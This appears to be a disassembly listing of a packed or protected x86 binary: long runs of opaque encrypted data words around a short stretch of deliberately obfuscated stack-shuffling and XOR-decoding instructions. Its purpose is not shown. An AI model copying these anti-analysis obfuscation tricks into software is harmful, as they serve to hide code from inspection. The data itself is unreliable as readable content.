		dd 2284FA16h, 548D2AF4h, 3BE98CFCh, 1C328B92h, 104966DCh
		dd 0CBA548B8h, 98C5628Dh, 0C61EECEAh, 59FC7219h, 0E7BF0938h
		dd 9E7BFE0Eh, 0B8DD1B01h, 121D4B7Eh, 0CBAF2264h, 0D436AC16h
		dd 316F5572h, 71C7D506h, 1E166F72h, 0D162h, 3B62A200h
		dd 0CDFC381Eh, 5E8DCAB0h, 0ED205B41h, 81ACEAD0h, 38826064h
		dd 0CCB2CFFAh, 6147648Bh, 0F4DAF722h, 9D6A87BAh, 0C3480EBCh
		dd 0FD561327h, 5984C21Fh, 0E91C563Ch, 0C12D6C46h, 0C91A5313h
		dd 83E55B16h, 1A6C32E0h, 0FC7216C9h, 0C28AB85Fh, 63275588h
		dd 0A0D9F629h, 26A28948h, 3E5C01h, 0CE3092C5h, 2C747D2Bh
		dd 7CF21C32h, 0E14434Eh, 6B96D4A3h, 0C934CBBAh,	0D90C462Ch
		dd 0F41B5C36h, 90CAB057h, 0D24B7B0Eh, 0E39440F4h, 8CDE654Fh
		dd 3C6ACCAFh, 0C43A73A4h, 6B0A2DBAh, 95D2FF39h,	0C6E3866h
		dd 9CCF09EFh, 3C6FAA6Eh, 84CA7899h, 0BF4BC60Ah,	0C60A4D11h
		dd 83DB514Bh, 0D4B8700Dh, 528C185Dh, 0E21C021Fh, 3C581AFh
		dd 5000000h, 82C233A1h,	2F692D5Bh, 0CB0ACEFCh, 6DAE72A0h
		dd 16541846h, 0BBF9BDEBh, 639E6290h, 13E0230h, 0A4E0A4D2h
		dd 57864775h, 0C781E789h, 4, 4EF81h, 3C870000h,	4895C24h
		dd 0E6895624h, 4C681h, 0EE810000h, 4, 5C243487h, 68243489h
		dd 699Eh, 52241C89h, 0EED02ABAh, 8BD68905h, 0C4832414h
		dd 1C8B5404h, 4C48324h,	141068h, 24348900h, 8B08438Fh
		dd 8957241Ch, 4C781E7h,	83000000h, 3C8704C7h, 348B5C24h
		dd 0E6895624h, 4C681h, 0C6830000h, 24348704h, 0A561E95Ch
		dd 0C43CFFFAh, 0EEDA16B8h, 0FFC50305h, 384D9BE0h, 4D6D4703h
		dd 2714BA47h, 49E0C736h, 0F8BF911Bh, 0B6733F70h, 65F36575h
		dd 0B4165E3Eh, 297AE916h, 0B3B6E251h, 4C55A3Fh,	95EEE939h
		dd 0FC92C67Eh, 89468D13h, 0A36EAE7Ah, 81018214h, 0E5611E0Fh
		dd 7FE23179h, 4597BB42h, 0C6D75D11h, 71CFFF37h,	9D518756h
		dd 0C48D8D39h, 5105EEDBh, 180FF081h, 895E378Fh,	0E926558Dh
		dd 52006A05h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1A04h
		dd 0C3524200h, 0FFDB6FE2h, 0BADADDB5h, 284096A6h, 80585C7h
		dd 740C05E9h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 150424h, 57470000h, 2B55EFC3h, 0E905659Dh, 3D85C705h
		dd 5E916h, 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 18042444h, 46000000h, 0EA5FC356h, 0FFAFBF1Dh, 0E915DDB5h
		dd 16B65605h, 0C595FF58h, 6A05E90Bh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 0A120C357h
		dd 270C4F58h, 6AA181h, 1E9595FFh, 0C08B05E9h, 96991FEBh
		dd 0D032138Fh, 44DA8634h, 35BD32EEh, 2AADCFC1h,	51EB309Dh
		dd 0D3B71D72h, 5D3EC5E0h, 7E804h, 9AA10000h, 921CC58Eh
		dd 4BB966CEh, 0B70F5A2Ch, 40C281F7h, 51000071h,	0B85EF78Bh
		dd 1C1Bh, 0CE9h, 0F623B100h, 8615B4C4h,	9F112919h, 0E932FF4Eh
		dd 0Ah,	25AA1C3Dh, 0A415E232h, 15F867Eh, 0E9037D95h, 8CC78105h
		dd 0F588319h, 0EF81DEBFh, 7AC3B9E4h, 27B9B58Bh,	0F78105E9h
		dd 46AC8BEEh, 89D9B70Fh, 0F60603Ah, 0BD8BFEB7h,	5E9004Dh
		dd 0EA816161h, 543166C3h, 0C281CF8Ah, 543166BFh, 0EE8h
		dd 6C8A1900h, 42239DAFh, 0EFC0495Ah, 661B3BC6h,	2D4ED381h
		dd 1E8835Bh, 1F850Fh, 0B58B0000h, 5E93111h, 29E9h, 1951E000h
		dd 0E842992h, 85C3F4D9h, 1714C456h, 15FF9BFh, 0EB81669Fh
		dd 62E9F5A9h, 41FFFFFFh, 0B2298879h, 221741ECh,	0ABE98492h
		dd 50000000h, 1C3F2E8Dh, 0DA5F72B1h, 95A7ACABh,	0F44592B3h
		dd 0B395A1h, 0A7ECABDAh, 0B2915D20h, 96B1F46Bh,	55207520h
		dd 0F26BB79Bh, 9692A5BCh, 3A7594A1h, 9FB79960h,	0B599BD32h
		dd 0A59CB2E9h, 0ACA3F292h, 0B1EF7695h, 0F94E0097h, 9FA5B4h
		dd 0F07B6B5Ch, 8A924Ah,	45F352D0h, 0A3F653F5h, 44D6D979h
		dd 45E3AFF1h, 0D77D41F4h, 9792B000h, 0FD756BBFh, 96BFCF60h
		dd 0B293BCF9h, 57207D20h, 92ABF79Bh, 0B29EBD94h, 0CE9DBCE3h
		dd 8F899BE0h, 0FD8F9D72h, 6DB4EEA9h, 0BCE1B6F6h, 0B3ED7293h
		dd 1E80097h, 3D94E7A6h,	0CCAC8332h, 36E91CF6h, 68000013h
		dd 5EEDF41h, 0FAA272E9h, 0E06468FFh, 68E905EEh,	68FFFAA2h
		dd 5EEE148h, 0FAA25EE9h, 0E26A68FFh, 54E905EEh,	68FFFAA2h
		dd 5EEE2E8h, 0FAA24AE9h, 0E3D968FFh, 40E905EEh,	68FFFAA2h
		dd 5EEE46Ch, 0FAA236E9h, 0E53568FFh, 2CE905EEh,	68FFFAA2h
		dd 5EEE5F1h, 0FAA222E9h, 0E75A68FFh, 18E905EEh,	68FFFAA2h
		dd 5EEE853h, 0FAA20EE9h, 0E9A368FFh, 4E905EEh, 68FFFAA2h
		dd 5EEEAF1h, 0FAA1FAE9h, 0ECDC68FFh, 0F0E905EEh, 68FFFAA1h
		dd 5EEEE1Ch, 0FAA1E6E9h, 4B72B2FFh, 0DD0C482Eh,	6E9DDAC0h
		dd 0FD306B51h, 91BCFAE0h, 48727074h, 0DCC2DF0Ah, 7157749Bh
		dd 4EA0732h, 0AD7A97CAh, 0C4581ECCh, 0D661327h,	0EE155630h
		dd 88C22351h, 29632755h, 0BF866CA7h, 0B6954E2h,	0B9B869BBh
		dd 3274229Ah, 0BC16C986h, 6582E446h, 2F6AD42Ch,	309E4BFCh
		dd 4D9B2F6Dh, 1D9A48EBh, 211C32F7h, 0F12E08ABh,	626D25C2h
		dd 811E4988h, 20D8FBC7h, 1A5BFC13h, 0FB2E6943h,	876603CDh
		dd 452611D9h, 47D7h, 176F9D00h,	0CFD504A7h, 9BEE3E39h
		dd 36E411AEh, 1C32BC2Dh, 1F40E359h, 209E2D71h, 983BB113h
		dd 209EA4EAh, 17B42A13h, 9EFBC75Fh, 5BFC1320h, 53CF911Ah
		dd 0FBD54526h, 38DC8DC0h, 34A10D51h, 9D99BA57h,	5F000000h
		dd 661488C2h, 16C91A20h, 0A8D638AEh, 4D7BA6E4h,	0EE1C4F89h
		dd 0A0BDF02Ah, 0C91715E6h, 0F0235D16h, 80B3EDD3h, 306D4752h
		dd 0D32B6401h, 0B912C063h, 0FD1C31F4h, 0D9316A87h, 1618C669h
		dd 1819C6B2h, 0E725FFA2h, 43729FBCh, 0C1FFDCCh,	4B31CE18h
		dd 59B1E20Dh, 0EC6F728Ah, 10B638F4h, 41810000h,	0DB17FD1Ah
		dd 6CA98FACh, 0FF3A203Dh, 8BC9AFCCh, 0A33F4360h, 91AED917h
		dd 26436AABh, 0B9D60140h, 496699D3h, 0A9ED9B7Ch, 351327C5h
		dd 84C2FEDCh, 9EDCB659h, 492FD673h, 91BFDC0Fh, 4A7176Fh
		dd 32294D56h, 0A043B91Ch, 0B8DD17Fh, 0D00D1320h, 36D349A1h
		dd 0BDCE67Eh, 7A1B1320h, 478862FBh, 8B28F220h, 26C6E4ACh
		dd 0F1FC45h, 0E9C30000h, 87517FAAh, 88C2BCEAh, 25632755h
		dd 0E7C1CCFAh, 844E7CABh, 17DC2DE7h, 0F5CF16C9h
		dd 21508DBAh, 99C729F3h, 124C32CFh, 28623CDFh, 194006B4h
		dd 0D84E16C9h, 4C32D976h, 0A6B1DF12h, 1997D785h, 0A11716C9h
		dd 373CB04h, 1C478660h,	2A587FC0h, 7596C360h, 19E0A654h
		dd 29EE16C9h, 354555E6h, 54F1532Fh, 317F219Ah, 10BE751Ch
		dd 1320B14Eh, 0ABEB9950h, 331320B1h, 0DCF95BBDh, 38DB4BA3h
		dd 0C4F2215Eh, 0F305DFAh, 4A77C3E0h, 0E4251271h, 4BE5BBDh
		dd 19C648B1h, 204B89F9h, 3411BBEh, 97D5BBD8h, 0B2913B6Ch
		dd 0E8E06F72h, 0F932Ch,	0F71E5E00h, 89B8F4DAh, 1A49866Ch
		dd 0A9DC17FDh, 3D68A68Ch, 0ECC61C20h, 806683AEh, 15FB183Fh
		dd 0A88EABD6h, 511E3B6Eh, 0FAFCC270h, 0A9021327h, 60A17BCBh
		dd 78B69C39h, 104A304Dh, 0C292C0DDh, 63275588h,	0F3D9F629h
		dd 955987B6h, 424DD95Bh, 33DA61BCh, 3490B4D1h, 0AC4FBF17h
		dd 346F94D2h, 0D5029F01h, 209EDAB4h, 8CCB0F42h,	1E4CAE61h
		dd 18FDB754h, 661C32B7h, 162BC1F0h, 196BA6ACh, 0F51657C1h
		dd 955F8DB4h, 0D2ED133h, 0BFD84EDEh, 9431156Bh,	514FB9DAh
		dd 4977EDEEh, 21BA0F3Eh, 4DACF011h, 4316DF9Fh, 769DFE1h
		dd 69D9316Ah, 81B0ECC6h, 6796B7E4h, 96043529h, 9BDA3607h
		dd 7A19D370h, 0C0EBBF61h, 0B4E21550h, 0BE588EAh, 3B66A4D1h
		dd 9CD6BCD9h, 0DF943869h, 0E3DB7D0Eh, 0EAF27h, 133A7A00h
		dd 0A5D410F6h, 3665A288h, 0C5F83319h, 5984C2A8h, 10AA383Ch
		dd 0A48AA7D2h, 391F3C63h, 0CCB2CFFAh, 75425F92h, 0FBA0E694h
		dd 0D52E1327h, 5588C2F7h, 0A3E391B2h, 2B16C91Ah, 1A80C674h
		dd 980E16C9h, 0CAE19936h, 0B15F0272h, 1C31FC8Ch, 63F5CD2h
		dd 89CEFAEh, 0BD87DFAFh, 0A90AB85Bh, 0FD19DBC6h, 1F4E5987h
		dd 0A5A9B822h, 0EF1A5906h, 0C36F08Dh, 6B16C928h, 5000ABCAh
		dd 5040CFE5h, 30h, 0A7176F16h, 5C395604h, 0F851C32h, 30714B6Ch
		dd 7411DB09h, 7244F8Eh,	20540B4Dh, 1E518B13h, 0B1DC1B01h
		dd 0CAF5340Eh, 0FDB9752Dh, 0F900000Dh, 4A7176Fh, 0EC73B4E3h
		dd 7665D6C2h, 0B96125D3h, 0F76D16C9h, 4EFBA05Ah, 0C53B1C32h
		dd 0E4094822h, 721577AAh, 276482C4h, 0F9960C13h, 85B8F2CCh
		dd 15488268h, 878D0E7h,	5F623665h, 5BD5DDBh, 9C399BC6h
		dd 99B7C16Fh, 45BB19DCh, 5B8EC8A2h, 0EB1E583Eh,	0E44EA6BDh
		dd 76197BA6h, 32B74BC8h, 3465DB1Ch, 698B847Eh, 8D19D5CDh
		dd 5800000Dh, 0EED4F118h, 806683B2h, 11F71443h,	0A086A3D6h
		dd 161A3762h, 7DA8E6CCh, 12397A60h, 0A5D00FF5h,	3568A288h
		dd 0BC6A4B18h, 1327F8FAh, 0EECDAB04h, 16C91AD4h, 32C483DBh
		dd 9684030Bh, 4721C426h, 0E3ADDB0Ah, 796B1946h,	11C32BCh
		dd 0D40EE88Bh, 649E84A1h, 28CBFA37h, 2794347Ah,	0E244BA13h
		dd 0D5459DB4h, 72A38432h, 0C6A019DFh, 0DDBF5C87h, 8AA63667h
		dd 0C1B96F6Dh, 0D0F05h,	739ADA00h, 5347056h, 96C502E8h
		dd 25589379h, 0B9E42208h, 704A989Ch, 4EA0732h, 997F9CC3h
		dd 2C122F5Ah, 0D5A2BFF2h, 0F80046F4h, 358E1327h, 5588C257h
		dd 0F6296327h, 0CC3C7953h, 0C91A581Eh, 8EF06616h, 41F99660h
		dd 22D0407Dh, 16C91A5Ch, 5C8AEC62h, 2305798h, 0BDE19431h
		dd 0ACFF7695h, 40CFD3E4h, 708FCh, 176FC200h, 0EC2A04A7h
		dd 49F724C1h, 1C32EE5Ah, 0A5166695h, 2DCB4F27h,	9538AE90h
		dd 2F5E9A74h, 70863701h, 1907C97Fh, 78B29835h, 1D982CF6h
		dd 303FCAC8h, 0A14D9BA2h, 2E4BAD0Fh, 0ADDB0E48h, 27452D15h
		dd 40AA0213h, 0A3E39105h, 2B132745h, 612553B5h,	2F91F326h
		dd 4578B28Ch, 45B2F4A2h, 0C63C1327h, 0ACDBFC29h, 600EBDADh
		dd 1327611Eh, 0C0792AA0h, 7731CE72h, 19DF4156h,	6FF12298h
		dd 7E6F6D97h, 0C1ECA86h, 0A9E90000h, 437F6582h,	0D411F714h
		dd 67A288A5h, 0F3311734h, 3BA7ABC8h, 0F916417Fh, 8EABD213h
		dd 213E69A8h, 0B1CE013Bh, 115503E4h, 9D1327F9h,	88C26644h
		dd 0C4F21D5Bh, 0A66A98FAh, 7B0B396Ch, 0CE92195Ch, 0E240CFD3h
		dd 635h, 1AD4EEA8h, 83DB16C9h, 754F7013h, 19DD0B36h, 0B882B0DBh
		dd 0A0FFB956h, 2A1C32EDh, 0FD3711B4h, 5180ADCAh, 0CE08B639h
		dd 93874C3h, 0EA240AA7h, 1A7289B7h, 745907AAh, 0BA19DF01h
		dd 57771344h, 0CEC66F6Dh, 0B8B12h, 0EF165600h, 81B0ECD2h
		dd 12417E64h, 0A1D40FF5h, 35609E84h, 0E4CE1418h, 785E7BA6h
		dd 0DF31037h, 0A086A3CEh, 49163366h, 0FEF4BA68h, 0A1FA1327h
		dd 5588C2C3h, 1421C27h,	45E2ACDAh, 0C4F2255Fh, 4EFC1D34h
		dd 16C91A08h, 4E832096h, 0D3DC8427h, 0EEC840CFh, 8A5482B1h
		dd 58FCCEDh, 6F920000h,	5604A717h, 1C32ED60h, 0D2013EAEh
		dd 0D578DAA4h, 0EB8EC1FBh, 0C75A1CCAh, 26601327h, 88259BF3h
		dd 4DC1FBE1h, 27C7DF9Fh, 2C078613h, 0E029B856h,	0D9DFC388h
		dd 2D5D4F2Eh, 0A33B69CBh, 1327809Fh, 91E46D9Ch,	0FE2C5B98h
		dd 68BC8334h, 3088C15Eh, 4E6F1DC0h, 4519DF2Ch, 63002F6Bh
		dd 0ECDA0B81h, 3B6F6D2Bh, 0AC28743h, 4D8D0000h,	0E7230926h
		dd 78B59BB8h, 0B462C49h, 97D5BBD8h, 974B4F6Ch, 95B2DD1Bh
		dd 2A476EAFh, 0BDDA0544h, 4D6A9DD7h, 0ADF19F80h, 311327FFh
		dd 5A7BFAD8h, 0C91AEAACh, 0E17EF416h, 608EC1FBh, 6EF2655h
		dd 0D36CCF3Eh, 6C096B92h, 0E11F4C86h, 216513B6h, 0AD16C9BFh
		dd 17A7D537h, 622E7DF8h, 7E40CF76h, 4BDh, 30762445h, 0BE16C987h
		dd 7B7DAB48h, 0FD3C65A1h, 78DAA4D2h, 1A5C21DBh,	0B30B16C9h
		dd 3671A043h, 84D40532h, 0FAA8D572h, 1C3279B9h,	3A14B72Dh
		dd 0CAB0CD00h, 182F5D90h, 1D610FC0h, 0A1132753h, 7826C92Bh
		dd 19DC5FB7h, 0A890C137h, 676F6DDCh, 0A06B36Fh,	91D10000h
		dd 2B674D6Ah, 0BCF9DFFCh, 4F8A708Dh, 0DB19FF1Ch, 538F93B0h
		dd 0E1FE2967h, 7693BAFBh, 9265190h, 99B6E923h, 793DEBCCh
		dd 851327FFh, 88C24E2Ch, 29632755h, 892453F6h, 2F8B1CDEh
		dd 4F4AC49h, 5E8DD0A5h,	0EE2D2FDCh, 749B3D97h, 4F6CD081h
		dd 538D7310h, 7C240320h, 7440CF3Eh, 18Eh, 5588C23Ah, 1B9DD8B2h
		dd 0DD2A03DBh, 2B59BB76h, 480CC461h, 91BEDB0Eh,	0D8FCC270h
		dd 8C0216C9h, 0EE5EB6EFh, 3A7C2A4Bh, 0C416C9D8h, 0D684B14Eh
		dd 1C32E159h, 0A9416FE5h, 1320CE99h, 2F6B45DEh,	0CF0ED200h
		dd 4AAC76A4h, 0AEFD78ADh, 452607E2h, 6323D1F2h,	6B1320D6h
		dd 0E2A452F5h, 0EC1320D6h, 2CB8D976h, 7E000000h, 3960A17Bh
		dd 6BA4410Bh, 5200A313h, 1C322951h, 79113FB5h, 13200B49h
		dd 0FA3B15AEh, 740136D3h, 26C66937h, 0EE8745h, 0C24D0000h
		dd 0F11C5B88h, 6997F9C3h, 4DFB67A5h, 16C91A09h,	0FB295091h
		dd 763D931h, 0C3A9CCBh,	38DB0E48h, 1A256917h, 33A916C9h
		dd 0E01ADE96h, 0E34578B3h, 0FD286640h, 0C16805CFh, 0C8FF4207h
		dd 0E3165016h, 536A99C6h, 0EC8F259h, 346291CEh,	326B086Ah
		dd 19C76ADAh, 1C2F6338h, 7B55F86Eh, 956F123Dh, 0E88F2C57h
		dd 6899C402h, 6989D96Eh, 9D21DDD5h, 68000008h, 0FEE40128h
		dd 907693C2h, 21072453h, 0B096B3E6h, 262A4772h,	8DB8F6BCh
		dd 22498A70h, 0B5E01F05h, 4578B298h, 0CC7A5B28h, 1327FD8Ah
		dd 7BDDBB14h, 1AEAAC5Ah, 7EF416C9h, 51BDFBE1h, 0DF0F3677h
		dd 16C91A9Fh, 5806A91Fh, 16C91A16h, 0A3C02298h,	31609C76h
		dd 44AF803h, 8A16C91Ah,	2F15B214h, 78A5C2F5h, 43E1639Eh
		dd 3A1D249h, 2CDA7DDFh,	16C9266Ah
		dd 3361FE74h, 275588C2h, 0D9F62963h, 278FBh, 176F3B00h
		dd 0D55604A7h, 611C3231h, 0D8B2BDEBh, 13231F99h, 0C9B6CAAh
		dd 15B27CAAh, 2047675Bh, 86EF9013h, 268A7B25h, 2127545h
		dd 0EE3B0000h, 16C91AAFh, 711484DCh, 432D2150h,	456B577Ch
		dd 21BFEEA8h, 0CD431C32h, 0E316502Ah, 73A6E0C6h, 66D62E45h
		dd 1273A2C3h, 4D4821C5h, 62C4EB2Ch, 0BCCA0BC5h,	5ED419DCh
		dd 6D7C392Dh, 601C146Fh, 7A4h, 0EB082F6Fh, 7D9AC905h, 0E2B5A97h
		dd 9DBAED28h, 314E79B7h, 0BFFDB52Dh, 50917794h,	0E7260C29h
		dd 7FB99FBCh, 81622F4Ch, 27F293D3h, 0E4C21B13h,	275588C2h
		dd 53F62963h, 1AC28432h, 56CC16C9h, 0FC3D01B9h,	87693686h
		dd 40A216F8h, 0E1144E12h, 0A78A9AB3h, 65D237FBh, 0A7F77EDDh
		dd 0EFB5C01Fh, 0BEDF82B5h, 0C9144E10h, 0EB995016h, 16C914ABh
		dd 0BE5BBD33h, 0D510EA17h, 7A2605A2h, 7640CFD9h, 148h
		dd 286E1C3Dh, 0B616C918h, 29F33F1h, 82E4CF44h, 88C2B7E5h
		dd 8EF01F5Bh, 35629C60h, 7B29CCF7h, 16C91A3Bh, 0CEEB4DC3h
		dd 8CD280A1h, 1216C91Ah, 6EC6FF9Ch, 20AD5BFEh, 2E1C3223h
		dd 46F415B8h, 13200C00h, 0B6DD1E8Eh, 0BF5CBE88h, 0C536F07h
		dd 3A41320h, 0C5973972h, 27894526h, 4F000000h, 4A7176Fh
		dd 32294D56h, 1543B91Ch, 200B457Dh, 6411B213h, 26C69947h
		dd 939745h, 845E0000h, 20EA1847h, 88C25583h, 25632755h
		dd 6694C300h, 480C3A9Ch, 0A2ADDB0Eh, 0C4857173h, 53F0174Ch
		dd 0E300336Dh, 0C9C97029h, 15488216h, 0F767BFF8h, 778DA654h
		dd 63D91C2Fh, 7DA8E6C0h, 113C7A60h, 89E51AE0h, 0A5615969h
		dd 654h, 9BB8DF1Fh, 2D4A79B5h, 0BEDB0A47h, 4D6A9DD8h, 0E1FE2967h
		dd 6FAD05DDh, 412744h, 97D6BCD9h, 2F694F6Ch, 3112DFFCh
		dd 27F3C383h, 9472CB13h, 3C5984C2h, 5BCE00Fh, 78A3DA91h
		dd 8EBBF5DBh, 0A1BE2053h, 64A17B73h, 1A0046F4h,	188E16C9h
		dd 0F93319B6h, 628DCCh,	0A1D40ED2h, 53A684h, 0C6E70000h
		dd 0BA134397h, 81B17DE3h, 16C9AD3Dh, 0F95180BDh, 0BAED2783h
		dd 0F725C28Ch, 0B25588C2h, 0D37097D8h, 0F936101Bh, 35D29CCAh
		dd 3FE2154Fh, 6521EF1Eh, 0F474400Ch, 0C9D982C4h, 0F9960C16h
		dd 65103341h, 0B4DF1EF8h, 391FBC86h, 0D1AFCCFFh, 20h, 5588C211h
		dd 1AB28F27h, 40B116C9h, 61FE2566h, 0E514492Ch,	45596C6h
		dd 0BFA542DCh, 7355285h, 275588C2h, 0A548B810h,	32ED92F7h
		dd 0CB6EE41Ch, 9BDB89AAh, 1F1327C7h, 0BA84B2E5h, 694FEC62h
		dd 0F13BAD2Fh, 87F5C992h, 0E8220825h, 187087B5h, 5D5705A8h
		dd 0E519DCDDh, 0B8F2CC6Fh, 13C1E285h, 16C9F553h, 0A148E55Bh
		dd 0AB4E81BBh, 3B6990D1h, 111CD471h, 0A1CFF637h, 0A9013AD7h
		dd 46759639h, 6AC2916Bh, 0B36D0AA0h, 1C32FA3Eh,	0A181B228h
		dd 94698B3Eh, 506E09Ch,	91D10000h, 2B674D6Ah, 0BCF9DFFCh
		dd 4F8A708Dh, 0DB19FF1Ch, 538F93B0h, 0E1FE2967h, 7693BAFBh
		dd 9265190h, 99B6E923h,	793DEBCCh, 851327F0h, 88C24E2Ch
		dd 0EA0B3855h, 0C91A7A3Ch, 0B20E8416h, 0C6AC4974h, 95B6598Ch
		dd 0C91AA7E7h, 14B12716h, 3B77515Ch, 7714DE0Ch,	35E35791h
		dd 16C91A71h, 77A5077Dh, 574D2887h, 0A0CDEA1Dh,	1A8DD17Fh
		dd 9B1116C9h, 0D7711FFEh, 326F40CFh, 35000000h,	4A7176Fh
		dd 325C3956h, 6C0F851Ch, 0B285392h, 2CE0AFDEh, 0EDE94F4Bh
		dd 3CD29650h, 9AD41320h, 25644A67h, 6896C100h, 520E3C9Eh
		dd 458h, 5588C292h, 0DBED1C27h,	0FD9E7259h, 417B61FEh
		dd 60B8F10Eh, 35734DF0h, 45A7D210h, 4E7CAFE9h, 0CBAE784h
		dd 1C321983h, 4FE7158Bh, 13203673h, 0CB92E384h,	0E353629Ch
		dd 66032B61h, 263ED987h, 53D745h, 7B9D0000h, 53366A1h
		dd 0D659E3Bh, 574CFA9Dh, 0AF1C3229h, 26000B39h,	84A56BE9h
		dd 10426C88h, 6B5711AEh, 8C1320ACh, 0A065C4F3h,	26A166B8h
		dd 0FD91D583h, 0A71D1320h, 0BDA0D50Ah, 5786C29Ch, 6F2F5F29h
		dd 6F1320FDh, 0D37D5CF9h, 0CD452630h, 0F2h, 5B88C293h
		dd 5E8CEE21h, 42F05C9Ah, 16C91A7Ch, 0A9D41282h,	0B0F6A447h
		dd 3E16C91Ah, 0E9C366C8h, 2CE481A8h, 0CBA2E68h,	16C91A4Ah
		dd 7CA3E454h, 0F415B81Ah, 0C91A0046h, 7B188E16h, 92C5FFC3h
		dd 174EBB75h, 4A8416C9h, 196628D6h, 0F26816C9h,	538D7390h
		dd 83DBF220h, 15C27013h, 0E1C3216h, 2CC9F834h, 7EB7D44Ah
		dd 0F213B626h, 1C6323D1h, 29671320h, 9330A6FEh,	0C697FED9h
		dd 99D44419h, 87610466h, 0D4011E49h, 6290BBFAh,	0D715FB98h
		dd 0A5F9BD6Bh, 8F0516CBh, 6B2AFC2Dh, 31296F72h,	31B75h
		dd 7FA6E600h, 11407C62h, 0A2D10EF4h, 31649F85h,	0C5F02E14h
		dd 743EA4A8h, 8EE0B36h,	9D83A0C7h, 3016335Eh, 0D9A6C3F6h
		dd 0F6044AF8h, 318A1327h, 5984C253h, 7CBB95B6h,	1A5D2151h
		dd 0EB6116C9h, 0A07AA74Eh, 3F093762h, 4F82BCA2h, 0A17B0432h
		dd 145F367h, 8D16C91Ah,	0DF18B517h, 9A741787h, 3802305Bh
		dd 0D26FA2DCh, 29EAF7A5h, 0A61C1C32h, 0BE2E078h, 74151320h
		dd 0C6E6AA01h, 9FA4526h, 0C1000001h, 4581AAE7h,	6D86B416h
		dd 0E9FC1A2Dh, 0AC49AB26h, 0AC5A7B7Eh, 16C91AEAh, 0FBE17EF4h
		dd 55608EC1h, 0E4123D7Bh, 59977D1Ah, 98C6F934h,	1A9FDF8Dh
		dd 0A91F16C9h, 1FB7E547h, 16C917EAh, 0CC7AEE28h, 16C9198Ah
		dd 1F3C9E14h, 0AED918F2h, 3319B680h, 97D785F9h,	1716C919h
		dd 0C29C3FA1h, 5F295786h, 0D6C177AEh, 0E58286DAh, 93F3222Dh
		dd 3EDA24Dh, 5DB5EE8Bh,	339C4AEDh, 7B1C3218h, 57AFE805h
		dd 22344E7h, 20121254h,	89269C13h, 0C68DC7CFh, 2ED14719h
		dd 0D312EC0Dh, 0A73678A8h, 42B816CBh, 5681BFA5h, 6F4184B3h
		dd 0E1BC2394h, 79B79D44h, 0B0F11D4Eh, 443C6F72h, 1DB88h
		dd 3F66A600h, 0D1003C22h, 6291CEB4h, 0F1245F45h, 85B0EED4h
		dd 347E6468h, 0C8AECBF6h, 5D436087h, 0F0D6F31Eh, 996683B6h
		dd 0F4440AB8h, 0F14A1327h, 5984C213h, 0E91C563Ch, 37772546h
		dd 6C16C91Ah, 0C91AF8BEh, 38900616h, 507E25C2h,	1C5B88C2h
		dd 5F8DB8F7h, 0A3D13395h, 5572A5DFh, 0CC08356Fh, 0F60D3B9Dh
		dd 7F3FED9Eh, 7F16C91Ah, 5604A709h, 1C322A11h, 3D892352h
		dd 775941Ch, 20A91559h,	0C1239913h, 9ECC4224h, 2B3243BAh
		dd 4AE71251h, 0DAF72A64h, 36D949A1h, 0B8F5225Ch, 2FF92789h
		dd 66B76592h, 1D19D845h, 0BE0E6FEEh, 912EA46Eh,	470B39AFh
		dd 9EACDA0Dh, 8963FA7Bh, 4B842148h, 32E083F3h, 1C3184FDh
		dd 23569101h, 3441EC1h,	88E4AEDCh, 0DA811E49h, 6994D3ADh
		dd 0EED4713Bh, 8F5381B4h, 0C0EF2B50h, 7725C892h, 13204C37h
		dd 0B1DF41B7h, 851F56CDh, 24B2C94Bh, 0D5023791h, 0C51D5673h
		dd 7091B255h, 2024FCC2h, 0E98C0213h, 20247B3Bh,	700D8313h
		dd 0DB14F1B6h, 0E487FD19h, 2934BB5h, 0B95CA2BCh, 0C9FC4B0Bh
		dd 40DD5316h, 0A4E7D88h, 0CAFD3867h, 6721D29Ch,	82680512h
		dd 0B0DF1B48h, 1D5C204Eh, 914303B1h, 0D54B16C9h, 8C3A4573h
		dd 16C991CAh, 0C4025ED4h, 3A5D6B99h, 70E7633Bh,	84F44C05h
		dd 0D091C0E1h, 9387487h, 693B2358h, 0DE4D12CCh,	0DB511C32h
		dd 78B791BEh, 1F77B04Dh, 355E0CAFh, 7119DB09h, 5D9EC301h
		dd 4472D436h, 70134680h, 0FD2B5A96h, 59858233h,	937CF1D4h
		dd 2F694FF6h, 4536CEFCh, 43FFE6B2h, 154F5520h
		dd 0A5DFC5E2h, 45804472h, 8900E412h, 4B7EB8ECh,	9A0E482Eh
		dd 0D69AAAECh, 0C8EF300Fh, 6A98FA70h, 3AEh, 33A1EE00h
		dd 2D5B82C2h, 0CEFC2F69h, 72A0CB0Ah, 18466DAEh,	0BDEB1654h
		dd 6290BBF9h, 230639Eh,	0A4D2013Eh, 4775A4E0h, 77646886h
		dd 14890000h, 0E6895624h, 4C681h, 0EE830000h, 24348704h
		dd 242C895Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		push	ecx
		push	51770F36h
		mov	ecx, [esp]
		add	esp, 4
		xor	ecx, 5499D126h
		mov	ebp, ecx
		pop	ecx
		push	4D44h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		push	69E8h
		mov	[esp], ebp
		pop	dword ptr [ecx+8]
		mov	ecx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_5461C3
; ---------------------------------------------------------------------------
		dw 1831h
		dd 0B6722024h, 0C95D75AEh, 0F01CB8F2h, 0C50305EEh, 258AE0FFh
		dd 0C05753A3h, 13CD2043h, 4ECE7918h, 6D8E07E6h,	0D2F17B67h
		dd 315D0634h, 8D8D5619h, 5EEF1AFh, 0DE9h, 15224000h, 7B3FE764h
		dd 87878F4Ah, 0AFBF93CFh, 896B05EDh, 0E926558Dh, 819D0905h
		dd 0C705E92Ah, 0E9080585h, 6A0805h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1D04h,	0C3574700h, 4D0908B2h
		dd 49C0930Fh, 8B662F6Eh, 3D85C7F9h, 5E916h, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1D042444h
